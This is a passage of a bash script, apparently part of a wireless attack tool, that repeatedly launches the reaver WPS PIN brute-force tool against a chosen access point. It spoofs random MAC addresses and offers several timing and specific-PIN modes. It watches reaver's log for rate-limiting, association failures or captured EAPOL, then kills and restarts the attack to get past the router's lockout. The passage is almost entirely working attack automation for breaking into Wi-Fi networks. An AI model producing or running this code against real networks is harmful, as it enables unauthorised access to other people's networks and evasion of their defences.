#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE37 == n ] || [ $KEEP_FILE37 == N ]; then

          rm VARMAC_LOGS/$NAME37-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R38 == n || $USE_R38 == N ]] && [[ $USE_LONG38 == n || $USE_LONG38 == N ]] && [[ $USE_PIN38 == n || $USE_PIN38 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME38"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL38"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP38"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE38 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME38-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL38 -b $TARGETAP38 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME38-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE38-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R38 == y || $USE_R38 == Y ]] && [[ $USE_LONG38 == n || $USE_LONG38 == N ]] && [[ $USE_PIN38 == n || $USE_PIN38 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME38"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL38"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP38"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX38" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY38"
echo -e "$info Reaver live time                   = $yel$LIVE38 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME38-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL38 -b $TARGETAP38 -vv -x 60 -r $RX38:$RY38 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME38-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE38-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R38 == n || $USE_R38 == N ]] && [[ $USE_LONG38 == y || $USE_LONG38 == Y ]] && [[ $USE_PIN38 == n || $USE_PIN38 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME38"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL38"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP38"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE38 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME38-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL38 -b $TARGETAP38 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME38-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE38-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R38 == y || $USE_R38 == Y ]] && [[ $USE_LONG38 == y || $USE_LONG38 == Y ]] && [[ $USE_PIN38 == n || $USE_PIN38 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME38"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL38"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP38"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX38" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY38"
echo -e "$info Reaver live time                   = $yel$LIVE38 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME38-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL38 -b $TARGETAP38 -r $RX38:$RY38 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME38-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE38-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP38 (ESSID: $NMEWARN38)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R38 == n || $USE_R38 == N ]] && [[ $USE_LONG38 == n || $USE_LONG38 == N ]] && [[ $USE_PIN38 == y || $USE_PIN38 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME38"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL38"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP38"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE38 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME38-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL38 -b $TARGETAP38 -vv -x 60  --pin=$WPS_PIN38 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME38-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE38-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME38-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME38-$DATEFILE-$PAD | awk '{print $5}'`


contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME38-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME38-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

